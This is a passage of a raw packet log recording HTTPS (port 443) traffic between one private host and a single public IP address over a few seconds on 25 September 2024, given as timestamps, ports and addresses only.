Sep 25, 2024 18:50:14.484539986 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484597921 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.484606981 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484652996 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.484730005 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484745979 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484797955 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.484805107 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484849930 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.485270977 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.485301018 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.485330105 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.485337973 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.485363007 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.485388994 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.485743999 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.485760927 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.485827923 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.485836983 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.485876083 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.536036015 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.536060095 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.536115885 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.536153078 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.536175013 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.536228895 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.536299944 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.536315918 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.536366940 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.536376953 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.536411047 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.546916962 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.546977043 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.547000885 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.547032118 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.547051907 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.547069073 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.571280956 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.571300030 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.571379900 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.571408033 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.571465969 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.589514017 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.589540005 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.589627981 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.589653969 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.589838982 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.590651989 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.590672970 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.590722084 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.590738058 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.590760946 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.590783119 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.723072052 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.723102093 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.723263025 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.723300934 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.723339081 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.723350048 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.723361969 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.723373890 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.723392963 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.723437071 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.723993063 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.724008083 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.724072933 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.724083900 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.724121094 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.724370003 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.724385977 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.724440098 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.724447012 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.724478006 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.790039062 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.790064096 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.790131092 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.790150881 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.790179014 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.790201902 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.790743113 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.790765047 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.790803909 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.790812016 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.790841103 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.793571949 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.857027054 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.857044935 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.857135057 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.857160091 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.857208014 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.857752085 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.857768059 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.857820988 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.857836962 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.857877970 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.923695087 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.923712015 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.923955917 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.923978090 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.924025059 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.924916983 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.924932957 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.925002098 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.925018072 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.925055027 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.992363930 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.992392063 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.992558956 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.992578983 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.992616892 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.994087934 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.994107008 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.994168043 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.994179010 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.994210005 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.059132099 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.059153080 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.059242964 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.059262037 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.059329987 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.061443090 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.061465025 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.061532021 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.061546087 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.061587095 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.126013994 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.126038074 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.126183033 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.126215935 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.126252890 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.128190994 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.128212929 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.128274918 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.128292084 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.128328085 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.192914009 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.192939997 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.193011045 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.193034887 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.193052053 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.193068981 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.196489096 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.196511984 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.196572065 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.196578979 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.196626902 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.330461979 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330486059 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330564022 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.330573082 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330599070 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330621958 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330626011 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.330667019 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.330674887 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330709934 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.330940008 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.330955029 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.331011057 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.331020117 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.331065893 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.400794029 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.400813103 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.400942087 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.400964975 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.401004076 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.463430882 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.463455915 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.463670015 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.463697910 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.463749886 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.532557011 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.532582998 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.532824993 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.532847881 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.532898903 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.533039093 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.533061981 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.533121109 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.533128023 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.533155918 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.668196917 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.668221951 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.668404102 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.668416977 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.668524981 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.732534885 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.732568979 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.732793093 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.732816935 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.732868910 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.803291082 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.803316116 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.803417921 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.803417921 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.803436041 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.803481102 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.865596056 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.865622044 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.865895033 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.865923882 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.866130114 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.940232038 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.940267086 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.940462112 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:15.940500975 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:15.940670013 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.008774996 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.008800030 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.009114981 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.009145021 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.009283066 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.081476927 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.081502914 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.085525036 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.085546017 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.087872982 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.217839003 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.217865944 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.218296051 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.218316078 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.219316006 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.219414949 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.219438076 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.219540119 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.219547987 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.223912001 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.417543888 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.417583942 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.417629004 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.417665958 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.417824030 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.417824030 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.418325901 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.418349981 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.418426037 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.418426037 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.418435097 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.420526028 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.552423000 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.552459002 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.552525997 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.552575111 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.552973986 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.552973986 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.688764095 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.688802004 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.689055920 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.689078093 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.689207077 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.815397978 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.815426111 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.815557957 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.815582037 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.815629005 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.889158964 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.889180899 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.889339924 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.889359951 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.889398098 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.956871033 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.956967115 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.956988096 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:16.957006931 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:16.957047939 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:17.022979975 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:17.023005962 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:17.023060083 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:17.023088932 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:17.023103952 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:17.023123980 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:17.133044004 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:17.133074999 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:17.133214951 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:17.133244038 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:17.133285999 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.237483025 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.237493038 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.237529039 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.237577915 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.237596989 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.237632990 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.237663984 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.237850904 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.237869024 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.237936974 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.237943888 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.238040924 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.498922110 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.498939037 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.498975992 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499030113 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499057055 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499072075 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499087095 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499094963 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499106884 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499114990 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499145031 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499176025 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499665022 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499680042 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499733925 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499743938 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499756098 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.499784946 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.499829054 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.500410080 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.500427008 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.500463009 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.500469923 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.500497103 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.500591993 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.500611067 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.500643015 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.500648975 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.500680923 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.501143932 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501163006 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501208067 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.501214981 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501230001 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.501405954 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501425028 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501465082 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.501472950 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501497030 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.501622915 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501642942 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.501703978 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.501709938 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.502317905 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.502340078 CEST	443	49705	207.241.227.240	192.168.2.5
